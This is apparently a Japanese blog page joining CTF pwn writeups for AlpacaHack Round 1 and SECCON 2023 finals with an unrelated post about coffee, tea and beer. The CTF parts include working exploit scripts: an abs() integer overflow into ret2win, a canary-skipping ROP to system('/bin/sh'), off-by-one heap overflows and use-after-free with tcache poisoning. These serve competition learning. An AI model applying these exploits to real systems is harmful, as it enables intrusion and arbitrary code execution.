AlpacaHack Round 1 (Pwn) Writeup (echo, hexecho, deck, todo)

keymoonくんが直近でずっと作り続けていた個人戦CTFプラットフォーム「AlpacaHack」の記念すべきFirst Roundに参加した。 *1 今回はptr-yudai 作問の Pwnが4問出題される6時間コンテストだった。

結果は、全完(5:20:30)で3位。以下に書くようにUbuntu 24.04を当初使っていた結果苦しんだ時間を念頭においても、1, 2位との差は大きかった。クーン

問題もあと一問ハード問足せばこれだけで24時間コンテストの問題セット(例えばSECCON quals?さすがに嘘か?)にしても良いんじゃないかという雰囲気(さすがにやや典型より過ぎかもしれないが)で、しかも6時間で解けるように設計されており非常に質が高かった。☆5です。

以下は、これからも応援しているという感情に基づくwriteup

echo

正直ちょっと舐めてたので、RTA CTF1問目くらいの難易度を想定していたら、かなり苦しんだ

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}
/* omitted */
void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

バイナリは、get_sizeでsizeを受け取ってその分だけget_dataをしてくれるだけのサービス。 abs(size)は、$-2^{31}$ を与えると整数オーバーフローするので(以下参照)

ubuntu@ip-172-31-19-240:~/test$ cat uo.c
#include <stdio.h>

int main(void) {
    int size = -2147483648;
    int size2 = abs(size);
    printf("%d\n", size2);
    return 0;
}
ubuntu@ip-172-31-19-240:~/test$ ./a.out
-2147483648

これをsizeに用いると(unsignedで見ると)BUF_SIZE超えのsizeを得ることができる。win関数があるので、あとはスタックオーバフローをして、retアドレスをwinに向ければよい。

from ptrlib import *

binary = "./echo"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
# libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 17360")
# """

def sla(*args):
    print(args)
    r.sendlineafter(*args)

win = elf.symbol("win")
logger.info("win: " + hex(win))

payload = p64(win) * 100
sla("Size: ", "-2147483648")
sla("Data: ", payload)
r.sh()

Third Blood

hexecho

長さの制限が無く入力として1バイトずつhexdecimalな数字を受け取るという以下のようなプログラム

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

以下のようにhexdecimalな形式で好きなだけ長いバイト列を送ることができるが、stack canaryがある。

❯ ./hexecho
Size: 4
Data (hex): 12345678
Received: 12 34 56 78

❯ checksec --file=hexecho
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

stack canaryをリークできるような余裕はないので、困ったという気持ちになるが、+や-をscanfに与えると書き込み先のバッファに何も書き込むことなく終了させることができることを思い出すと、バッファオーバーフローでcanaryの部分だけスキップして書き込むようにすればあとはROPができることが分かる。

❯ ./hexecho
Size: 256
Data (hex): + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 80 bc a7 74 ff 7f 00 00 0f 5c e9 2d 68 7a 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 00 2e 68 7a 00 00 a0 bc a7 74 ff 7f 00 00 05 24 e9 2d 68 7a 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 d0 bc a7 74 ff 7f 00 00 7b 84 e8 2d 68 7a 00 00 08 be a7 74 ff 7f 00 00 01 00 00 00 00 00 00 00

今回はwin関数が無いので、pwnする際にはsystem("/bin/sh")をするためにlibcアドレスのリークが必要になる。以下のsolverでは、第一段階でcanaryを避けながらmainにretをしつつ、さらにstack上に落ちているlibc_start_mainのアドレスをリークしlibcアドレスを得る。その上で二ターン目において system("/bin/sh") に対応するROPを行う(今回はcanaryもリークできているはずで避ける必要もないが避けている)。

from ptrlib import *

binary = "./hexecho"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 51786")
# """

def wait_for_attach():
    if not is_remote:
        input('attach?')

def sla(*args):
    r.sendlineafter(*args)


buf = b"ABCDEFGH" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(elf.gadget("ret")),
    elf.symbol("main")
]
payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
l = r.recvlineafter(": ").decode("ascii")
l = l.split(" ")[-8:]
libc_ret = 0
for x in l[::-1]:
    libc_ret *= 256
    libc_ret += int(x, 16)
print("libc_ret:", hex(libc_ret))

# libc.base = libc_ret - 0x2a1ca
libc.base = libc_ret - 0x10d90 - 25 * 0x1000

# phase 2:

buf = b"HOGENEKO" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(libc.gadget("ret")),
    next(libc.gadget("pop rdi; ret")),
    next(libc.find("/bin/sh")),
    libc.symbol("system")
]

payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
r.sh()

Second Blood (微妙に24.04との環境差で苦しんでいた時間で捲くられて悔しい。カスだから最後 libc_start_main のオフセット分からなくてブルートフォースした。なんで?)

deck

ヒープ問。トランプのカードのデッキをシャッフルし、そのトップに有るカードを当てるゲームが実装されており、ユーザーはゲームプレイの他、シャッフルアルゴリズムの変更とユーザー名の変更が可能になっている。

typedef unsigned short card_t;
typedef struct _game_t {
  void (*shuffle)(card_t*);
  card_t *deck;
  char *name;
} game_t;
/** omitted **/
void shuffle_knuth(card_t *deck) {
  size_t i, j;

  for (i = DECK_SIZE; i > 0; i--) {
    j = rand() % (i + 1); // off-by-one!!
    swap_cards(deck, i, j);
  }
}

void game_play(game_t *game) {
  printf("Challenger: %s\n", game->name);
  game->shuffle(game->deck);
    /** omitted **/ 
}

void main() {
/** omitted **/ 
    puts("1. Play a game\n"
         "2. Change shuffle method\n"
         "3. Change your name");
    switch (getval("> ")) {
      case 1:
        game_play(game);
        break;

      case 2: /** omitted **/

      case 3: {
        char *name;
        size_t len = getval("Length: ");

        if (len > 0x1000) {
          puts("[-] Invalid length");
          break;
        }

        if (!(name = (char*)malloc(len + 1))) {
          puts("[-] Cannot allocate memory");
          break;
        }

        getstr("Name: ", name, len);

        free(game->name);
        game->name = name;
        break;
      }

      default:
        game_del(game);
        return 0;
    }

カード情報は、以下のように2バイト整数で管理されており、

#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank))
#define CARD_SUIT(card) ((card_t)(card) >> 8)
#define CARD_RANK(card) ((card_t)(card) & 0xff)

これらのゲーム情報がゲーム開始時にmallocを用いて以下のように初期化される。

game_t* game_new() {
  game_t *game;
  char *name = NULL;
  card_t *deck = NULL;

  if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE)))
    goto err;
  if (!(name = strdup("Human")))
    goto err;
  if (!(game = (game_t*)malloc(sizeof(game_t))))
    goto err;

  for (size_t i = 0; i < DECK_SIZE; i++)
    deck[i] = MAKE_CARD(i / 13, i % 13);

  game->deck = deck;
  game->name = name;
  game->shuffle = shuffle_naive;
  srand(time(NULL));
  return game;

脆弱性は、上述の shuffle_knuthのoff-by-oneで、52番目の要素までswapしてしまう。上のゲーム初期化パートを見ると、ヒープ領域は以下のような順序で配置されている。

pwndbg> x/40gx 0x1f4b290
0x1f4b290:  0x0000000000000000  0x0000000000000071
/** cards **/
0x1f4b2a0:  0x0003000200010000  0x0007000600050004
0x1f4b2b0:  0x000b000a00090008  0x010201010100000c
0x1f4b2c0:  0x0106010501040103  0x010a010901080107
0x1f4b2d0:  0x02010200010c010b  0x0205020402030202
0x1f4b2e0:  0x0209020802070206  0x0300020c020b020a
0x1f4b2f0:  0x0304030303020301  0x0308030703060305
0x1f4b300:  0x030c030b030a0309  0x0000000000000021
/** strdup("Human") **/
0x1f4b310:  0x0000006e616d7548  0x0000000000000000
0x1f4b320:  0x0000000000000000  0x0000000000000021
/** game_t **/
0x1f4b330:  0x000000000040143a  0x0000000001f4b2a0
0x1f4b340:  0x0000000001f4b310  0x0000000000020cc1

したがって、cardsの一つ先の2バイトは、"Human"バッファのヒープ管理領域で長さを表す部分であることが分かる。すなわち、いい感じのswapが起こると次のバッファのサイズを大きくすることができると分かる。実際には、上述のように2バイト整数で管理されているMSBから2バイト目はsuitを表しており、これは0~3であり、1バイト目は0~12なので、1/4の確率でバッファサイズ0x200とかになるイメージである(実際にはis_mappedがついているかなども重要になる)。 少し頑張ると確率をあげることも可能だが、大した確率ではないので今回は0x200に固定した場合のみを考えた。

Humanのバッファの長さを大きくできるようになったので、次にこのバッファと名前の変更機能を用いてヒープバッファーオーバーフローを行う。今回のバイナリは以下のようにNo PIEだったので、

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

まずはGame構造体のshuffle関数をputsに書き換えたうえでcardsをprintf_got_addrにして、libcアドレスリーク、その上で同じプリミティブを用いて system("/bin/sh") を行った

full exploitは、GitHubを参照

sizes = []
#sizes.append(0x10)
for i in range(6):
    sizes.append(0x10 * i)
sizes.append(0x70)
sizes.append(0xf0)
#sizes.append(0x80)
for size in sizes:
    ch_name("A" * size)

ch_method(2)
play(1, 1)

ch_name("A" * 0x10)

wait_for_attach()
print("come on")
ch_name("A" * 0x8)
print("nice")
ch_name("A" * 0x8)
print("cool")

# libc_leak

payload = [
        0xdead, 0xbeef,
        0, 0x21,
        puts, printf_got]
payload = flat(payload, map=p64)[:-1]

ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")
r.recvlineafter('Challenger:')
res = r.recvline()
sla(": ", 1)
sla(": ", 1)

l = r.recvlineafter("card: ")

printf = libc.symbol("printf")
libc.base = just_u64(res) - printf
print("libc_base:", hex(libc.base))

wait_for_attach()

system = libc.symbol("system")
binsh = next(libc.find("/bin/sh"))
assert(printf is not None)
assert(system is not None)

# overwrite
## free
ch_name(b"A" * 0x250)
payload = [
        0xdead, 0xbeef,
        0, 0x21,
        system, binsh]

payload = flat(payload, map=p64)[:-1]
ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")

r.sh()

todo

かなり典型的な形のC++ノート問。std::stringstd::vectorが絡むのでちょっと筋肉がいる。以下が問題のソースコード

#include <iostream>
#include <vector>

int main() {
  size_t choice, index;
  std::string todo;
  std::vector<std::string> todo_list;

  std::cin.rdbuf()->pubsetbuf(nullptr, 0);
  std::cout.rdbuf()->pubsetbuf(nullptr, 0);

  std::cout << "1. add" << std::endl
            << "2. show" << std::endl
            << "3. edit" << std::endl
            << "4. delete" << std::endl;
  while (std::cin.good()) {
    std::cout << "> ";
    std::cin >> choice;

    switch (choice) {
      case 1: // add
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo);
        todo_list.emplace_back(todo);
        break;

      case 2: // show
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: " << todo_list[index] << std::endl;
        break;

      case 3: // edit
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo_list[index]);
        break;

      case 4: // delete
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        todo_list.erase(todo_list.begin() + index);
        break;

      default:
        return 0;
    }
  }
  return 0;
}

機能は 1. 好きな長さの文字列を std::cinで受け取って todo_list vectorに追加 2. todo_list のindexを指定して文字列を表示 3. todo_list のindexを指定して文字列を編集 4. todo_list のindexを指定して文字列を削除

脆弱性はindexが範囲内にあるかが todo_list.capacity()にあるかで判断している点(sizeであるべき)。したがって、vectorのサイズが縮まない限りはfree後の文字列へのUAFが可能。

残りはゴリゴリのC++ heap pwn。基本方針は 1. UAFで、tcacheのfdからヒープのアドレスをリーク(libcが2.35なのでencodeに注意) 2. 同じ要領で0x500くらいのバッファを使ってunsorted binsにつながったバッファのUAFでlibcアドレスをリーク 3. 次に、tcache poisoningを利用して、todo_list vectorと同じヒープバッファをstd::stringとして取得し、一番目の要素を environ に変更。 show(0)を通してstack address leak 4. tcache poisoningを用いてret addressを指すバッファを取得し、ROPのペイロードを送る 5. (ちゃんとfreeができるような)fake chunkを多数作って、todo_listのstringたちの持つバッファをそれらのfake chunkを指すように変更 6. mainからreturnしてRCE という流れ。5が必要なのは、std::vectorのデストラクタが最終的に自分の持っているバッファをfreeし始めるが、3や4をしている段階でfreeできない(freeすると落ちる)ようなバッファをどうしても作ってしまうので、辻褄合わせのため。

スクリプトGitHub上に乗せたのでブログ上は長いため割愛。 https://github.com/moratorium08/ctf_writeups/tree/master/2024/alpacahack_1/todo

Third Blood

感想

最近、pwndbg/gefやptrlib、roprなどの新しいツーリングへの移行を行い、シェル周りの環境も整備したCTF用VMUbuntu 24.04環境にて用意していたのだが、問題が軒並み22.04のlibcを使っていたので、挙動差に苦労した(いや最初から合わせろという話なんですが...)。特にtodoに対するスクリプトが結局remoteで動かず(人はなぜダメ元でこういうことをしてしまうのか)、泣く泣く古き良きgdb-pedaの入った環境を取り出してきて、こちらで todoとdeckを解いた。やはり老人のツーリングから逃げられないらしい。

個人戦CTF6時間は結構体力持ってかれるが、久々に元気出したなという感じだった。問題も(6時間個人コンテストと考えると)かなりちゃんとしていて(Cake並?RTACTF以上?みたいなイメージ)、これを毎月とか開催するのはさすがのptr-yudaiでもきついんじゃないかという気がするが、無理のない範囲で定期開催されていると嬉しい。

あとはAlpacaHackがもっと大きくなって、初回の結果を10年後とかに擦れると嬉しいかな。keymoon先生全力応援

*1:minaminaoさんもメイン開発者らしい。実のところ誰が作っているのかよく把握していない

今年飲んだもの(コーヒー、紅茶、ビール)

幅広く色々飲んだなと思ったので簡単にまとめる。

コーヒー

ほぼ毎日飲む。メインはハンドドリップだが、たまにマキネッタ、エアロプレス、エアロプレス with Prismoなど。マキネッタ等でエスプレッソめに入れて、トニックウォーターで割ったエスプレッソトニックを夏にやったが良かった。

正直FEVER TREEのトニックウォーター単体でもうまい
最近家にウイスキーを念のため(?)置くようにしたので、暇があったらそこらへんと雑に割りたいと思っていたが時間がなくてやっていない。酒を飲むと作業できなくなるの困る

基本的に豆は、深煎りが嫌いなわけではないが、バリエーションの多さが好きで浅煎り派なので、もっぱら浅煎りの豆を買ってきて飲んでいる

以下が今年飲んだ豆の(一部)

課金すれば基本うまいがちだが *1、そこまで高くなくて美味しかったなと最近思ったのはエルサルバドルのEL SAUCEと名前付けされていた豆 *2。 パカマラ種と呼ばれるエルサルバドルで人工交配されて作られた品種らしいが、割りと僕好みのフルーツらしさのある味わいだった。

最近の気づきだが、文京区の水のせいではないかと疑っている現象として自宅ではどうも抽出がアンダーめになる気がしていて、実家に返ってくると、同じ豆でもこんな味だったっけとなるときがある。実家と器具も違うのでファクターが水とは限らないが、来年は多少水にもこだわって遊んでみたい。

ちなみに、カフェイン過多を気にして1日朝1杯を目指しているが、しばしば眠い or 糖分が欲しい or 外に散歩に行きたいときに、大学構内になるスタバで、ラテやマキアート系を飲んでいた。特に、order & payで雑にスマホで注文できる機能を使い始めてから、オタク的には難しかった色々なシロップ・ソースの追加を行うことがボタンだけで簡単にできることを知り、1ヶ月間ほどこれで味をめちゃくちゃにして遊んで飲むのがブームになっていた。店員の方には申し訳なかったと思う。

ちなみにスターバックスのポイントがかなり溜まってそろそろ部分的に失効しだすので使わないといけないなと思っている

そういえば、シアトルに行ったのでスタバ一号店にも来訪しました。

(クラフト)ビール

酒は基本ビールしか飲んでいない。が、そもそもそんなに酒を飲まない *3

KMCアドベントカレンダーを読んでいたら見つけたutgwkkさんの書いたスニペット (今年飲んだビール - 私が歌川です) を使ってuntappdに登録されている情報を抽出した今年のんだビールリスト。

docs.google.com

重複した場合は多分書いてなかったり、有名どころのビールの場合も書いてないので、大体こんなもんかなという感じ。が、しばしば酒飲むとその後何飲んだか忘れてメモれないことがあるので、ちゃんと飲んだときにuntappdするかせめて写真だけでも撮っておこうという感情にN回なった記憶があるので少し足りないかも *4。思い出せるところだと、苗場飲んだ越後ビールとか、宮島のビールとか入ってないので後で雑に入れておくか。

好きなものリストは以下のような感じ

ただHazyが好きなだけやん、点数を飲んでる などのツッコミはご遠慮ください(そうです)。

悲しかったのは、今年シアトルいったときに雑にスーパーで買って日本に持って帰ってきたビールがまずかったこと。2本買ってきたんだけどその絶望がやばすぎて未だに(3ヶ月たってなお)1本冷蔵庫にある。もう絶望したくないから誰か飲んでくれ

シアトルでパッケージ買いしかけたが、念のためuntappdでレビューを見たら不評で購入を避けたSerengeti Wheat

紅茶

紅茶はあんまりわからないが、最近 mariage freresのアドベントカレンダーで、フレーバーティーを色々試してみるということをした *5

当初は朝にアドベントカレンダーをしていたが、そうすると1日のカフェイン量がなんか足りない気がしていて研究に差し障るので、朝はコーヒーに戻し、夜に帰宅後に紅茶を飲むようにした。結果的にカフェインが体に触ったのか昼夜逆転が深刻化した *6

これをやった結果、僕はフレーバーティーより浅煎りコーヒーでバリエーションを感じるほうが好きだなと思ったので、多分今後もコーヒー派を続けると思う。家にはマルコポーロあたりを置いておくだけにする。ちなみに結構きれいに撮れた写真を雑においとこ。これはBALTHAZARというやつ *7

僕が好きだったと思ったお茶を強いて一つ上げるならば、TOKYO RHAPSODY。個人的にはスパイスの効いたお茶よりも白茶の系のほうが好みかもしれないなとは思った。(TOKYO RHAPSODY自体はwhite teaではあるものの結構明るい色だった)

その他

他に何飲んだかな。日本酒、ワインは本格的に味の違いを覚えてられないんだよね。傾向か、"本当に飲みたくないやつだった"という足切りラインを超えていたかどうかしかわからん。 ウイスキー系も多少種類を飲んだが、「スモーキーだね...(笑)」くらいしか分からん。

酒でもコーヒーでも誘われたら行くので来年も誘ってください。ちなみに直近行きたいと思っているところとして 蔵前のLonichというコーヒー店があるので誰か一緒に行ってください *8。奢ってくれるとなお嬉しい(適当)

*1:神保町のglitch coffee考えてみると今年はあまり行ってないな

*2:実際のところ焼きや仕入れによってだいぶ違うとは思うが

*3:要出典

*4:実は年末にiPhone 8からオタクしか使わないということで有名のPixel Foldに移行したが、untappdの登録を酒の席で雑にした結果Apple loginが採用されており、Androidでうまくログインができず困っている。誰か助けてくれ

*5:ここ2年間くらいやってみたいと思っていながら、気づくのが12月中盤というのを繰り返していたので今年はできてよかった。もう来年以降はやらない気がする

*6:生活習慣の乱れを紅茶のせいにするな

*7:TsukuCTFのユーザーネームに使った。これがOSINT500点です

*8:前にオタクを誘ったらさすがにコーヒー飲むのに5000円は...みたいな感じで断られて泣いていた

SECCON 2023 finals writeup (babyheap 1970, Datastore2, landbox) と感想

チーム「:(」として国内の決勝に出ていました。 結果はチームメンバーがとても強かったこともあり、国内決勝ながら *1 優勝することができました。よかった。

優勝

チーム:)は、予選は potetisenseiicchyさん の二人チームだったが、本選から私と ngkzさん が合流する形で、4人で本選に出ました *2

チームとして解いた問題は以下の通り。 チーム構成が、バイナリ大好きオタクたち(poteti, ngkz, mora)とWeb大好きオタクicchyさんというやや偏りのあるメンバー構成だったのでcryptoを見る人間が誰もいなかった。チームのムーブとしては、potetisenseiがなんでも係を担当しておりメキメキと問題を解き、icchyさんがWeb、ngkzさんがハードウェアとバイナリ系、僕はバイナリ系を見るみたいなことをしていた*3。各位が流石の強さだった。

僕自身は、babyheap 1970を解いた最初の3時間半がピークで、あとはほとんどひたすらDatastore 2に苦しんでいた。個人的にDatastore 2は1日目夜には解けると思っていて(実際解けるべきだったが)、かなりそこは悔しい。本当は1日目夜には終わらせて最終日はelk (or WkNote?)と格闘したかった。

実はこの頃は多めに見積もって1日目中だと思っていた

大会としては、問題の質が、運営が変わってからのCTFとしては"いつも通り"よかったが、これを維持するのは本当に大変なことだと思うので感謝しかない。最近あまりCTFしていない人間が作問するのは悪だと思っていてその意味ではSECCONで僕が作問すべきではないと思ってはいるものの、もし本当に問題足りなくなりそうだったらいつでも行くので言ってください(とはいえptr-yudaiがいるからpwnが足りなくなることはないんですね)。SECCON全体は見ていないからよくわからないが、盛況だったようで何より。来年以降も継続していくのは本当に骨が折れると思うんですが、できる限り続くと外野としては嬉しいですね。スポンサーもいつもありがとうございます *4

以下は作問者に感謝の文です(解いた問題のwriteupです)。

[Pwn 240] Babyheap 1970 (5 solves)

問題設定

Pascalで書かれた謎のプログラムが渡される。デフォルトでVSCodeではsyntax highlightingが効かなくてその意味でも1970年に戻ったつもりで解いた。サービスとしては以下のreallocとeditのどちらかを4つのノートに対して行うことができる。

procedure realloc();
var
   id : integer;
begin
   id := get_id();
   g_size[id] := get_size();
   setLength(g_arr[id], g_size[id]);
end;

procedure edit();
var
   id    : integer;
   index : integer;
begin
   id := get_id();
   index := get_index(id);
   write('value: ');
   flush(output);
   read(g_arr[id][index]);
end;

バグは、境界検査で、配列の要素を1個外側まで配列外参照できてしまう。

function get_index(id : integer): integer;
var
   index : integer;
begin
   write('index: ');
   flush(output);
   read(index);
   if (index < 0) or (index > g_size[id]) then begin
      writeln('Index out of range');
      halt(1);
   end;
   get_index := index;
end;

解法

あとは、やるだけそうだが、Pascalのバイナリの中で何が起きているのかさっぱり分からずheap allocatorがどうなっているのかも何も知らなかったのでそこからのスタートだった。が既にもうだいぶ忘れた。この類の変な言語問は多分上手で、普通に処理系guessだけで解けてしまったので素早く解けたし、結果どういう仕組みだったのかがわからないとも言う*5

雑に覚えていることとDiscordに書いたメモを振り返ると、大体わかっていることは次の通り、

  • heapのアルゴリズムは、言語処理系にありがちな、チャンクサイズごとにmmapをして、初期化時にfree listを構築するようなallocator。ただし、なぜか領域でサイズを判断するのではなく、サイズ情報がチャンクの中に埋め込まれている。
  • この埋め込まれた情報をもとにreallocで行われている、setLengthにおけるリサイズの判断が行われている
  • 整数型integerは16bits

reallocは大きくなる方向にしか走らない(?)模様で、デフォルトの0x20から広げて大きさ0x60のチャンクのfreelistのfdを書き換えるとmallocがいい感じに走りあとは自由なchunkが得られる。このために

  1. 3のバッファをサイズ0x60になるようにrealloc
  2. 4のバッファをその下にくるように即realloc
  3. 3のバッファのbuffer overwriteで、サイズ情報を0x80にする
  4. 4のバッファを、reallocして44にすると、heap上は0x80程度あればよく既に0x80あることが分かるので、reallocされない。かつ長さ情報が44になるので、4のバッファが好きにoverwriteできるようになる
  5. これを用いて4の次のfreelistにつながっているバッファのfdを好きなアドレス(victim)に書き換え(今回は、これらのバッファを管理している配列 g_arr : array[0..3] of array of integer;のポインタに向ける)
  6. 二度size36で、reallocしてvictimへのバッファを確保

AAWをする

# 工程1, 2
realloc(target, 36)
realloc(target+1, 36)


# 工程3
edit(target, 36, 0x8081)
# 工程4
realloc(target + 1, 44)

# これいる?よく覚えてない
edit(target + 1, 36, 0x8061)
edit(target + 1, 37, 0xf)

# 工程5
edit_64(target + 1, 40, victim_addr) #edit_64は単に1回に16bits

# 工程6
realloc(d, 36)
realloc(a, 36)

AAWは得られたが、AARを得るのは無理そうだったのでstack書き換えによるROPはきつそうとなる。ただ、PIEであって、Pascalは謎に関数ポインタを色々使っていそうなので、なんかいい感じのポインタを上書きしつつstack pivotしてROPすれば良さそうという気持ちになる。 とりあえずよく分からないので、適当に書き換えると性質よくRIPが取れそうな場所を探すと(以下は探していたときの残骸)

# addrs = [0x425680, 0x425590, 0x425458, 0x425270,
#         0x425990, 0x426b70, 0x426bd8, 0x426cd0, 0x42e9a8]
# addrs = [0x00430000]
addrs = [0x00430000]
avoid = [0x140]
for base in addrs:
    for i in range(0x140, 0x168):
        if i in avoid:
            continue
        if i == 0x167:
            val = gadget
        else:
            val = i
        addr = base + i*8
        print(hex(i), hex(addr))
        # set(addr, 4199360)
        set(addr, val)
realloc(0, 40)

0x00430000 + 0x167 * 8 あたりが良さそうということがわかる(edit中は発火せず、reallocするときに初めて発火する場所を探せば良い)。

後はどこに書き換えるか?だが、この場所で発火するときのレジスタを見ていると、

[----------------------------------registers-----------------------------------]
RAX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RBX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RCX: 0x38061
RDX: 0x1
RSI: 0xb0
RDI: 0x430980 --> 0x0
RBP: 0x7ffd6b40f3e0 --> 0x7ffd6b40f400 --> 0x7ffd6b40f420 --> 0x0
RSP: 0x7ffd6b40f2a8 --> 0x41a6cb (lea    rsp,[rsp+0x8])
RIP: 0x423800 (js     0x42380a)
R8 : 0x7fffffffffffffff
R9 : 0x7
R10: 0x7ffd6b40f070 --> 0x3433383438353600 ('')
R11: 0x246
R12: 0xe0
R13: 0x58 ('X')
R14: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
R15: 0x7
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

のようにrdiは基本的に良さそうで、 0x4022ab: mov r15, qword [rdi+0x28] ; mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found) という謎ガジェットがあるのでこれを使った。*6

今回のプログラムはstatically linkedなのでsyscallを使ってsigreturnすれば良い。

最終的なスクリプトctf_writeups/2023/seccon_finals/babyheap_1970/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに、pwntoolsがローカルの自分のパソコンに入ってなくて、自分でフラグが獲得できなくて泣いていた

1st blood*7

[Pwn 388] Datastore 2 (2 solves)

とても苦しんだ問題。

問題設定

この問題は予選の方で出たDatastore 1の改定版で、とりあえずdiff を見ると、

  1. 元々あったindexのバウンダリー検査の脆弱性が無くなる
  2. arrayの中身を再帰的に削除する機能が追加
  3. コピー機能が追加
  4. 文字列の参照カウント機能の追加
  5. 文字列の更新機能がなくなり、更新は削除->作成が行われる

あたりが起きていることがわかる。この時点で予選のwriteupを引っ張り出してきたが、思い出すのに苦労した上に全く使えないことが分かり萎える。

解法

改めてソースコードを眺めてみると、refcntが露骨にuint8_tで定義されており、integer overflowをしてくださいと言わんばかりである。これが実際存在する唯一の脆弱性だった。arrayをいい感じにコピーしていけば、簡単に256回の文字列のコピーができる。つまり、文字列のUAFができる。これと、str_tと長さ1のarrayの0番目のdata_tのintの値の場所が一致することを用いると、任意のアドレスのreadと、任意のバッファのfreeが可能になる。

問題はwriteのprimitiveでどこを書き換えてPCをとるかで、こんなもんすぐにできるだろと思っていたら一生できず本当に禿げました。後から考えてみるとかなり無意味な苦労をしていた。とりあえずめんどいポイントとして

  1. scanf("%70m[^\n]%*c", &buf);でヒープが確保される。これの挙動をよく理解していなかったが、malloc(0x70)して確保されたバッファにデータを書き込み、その後で書き込んだ文字数が入る程度にrealloc(n)をして縮める。この縮める操作が面倒で、"%70m の文字列長の制約上必ずreallocのresizeが走ってしまうのでstack上への書き込みをtcache poisoningでしようとすると、そのタイミングで制約違反になる
  2. 整数書き込みを用いると好きな値を書き込めるが、書ける場所が16の倍数のアドレスに限定された上で、そのアドレス-8の場所に変な値(型タグ)が書き込まれる
  3. fakeなarrayを作ると、16の倍数でないところにも書き込めるが、書き込む前に、そのアドレス-8の場所に適切な型タグが書き込まれていないとexitしてしまう

がある。この制約により意外と面倒が多く色々な手法を試してはダメだを繰り返していた(上述の制約に最初に気づかずstack上のROPのpayloadをscanfを通してしようとする、Arrayを通してexit_funcsを書き換えようとする、initialのnextを書き換えようとする *8、いい感じにタグを回避しながらROPするガジェットを探す、etc)。最終的にもう無理やねんと言って上の制約をpotetisenseiに説明してアイデア募集したら、saved rbpを上書きしてstack pivotできるんじゃね?と言われ(ちなみにretアドレスはalignment制約上だめ)、確かにそれはありだなとなり実際やってみたらうまく動いた。sasuga...

ちなみにmemsetのlibcのGOT、16の倍数のアドレスにはなかった。嫌がらせ?

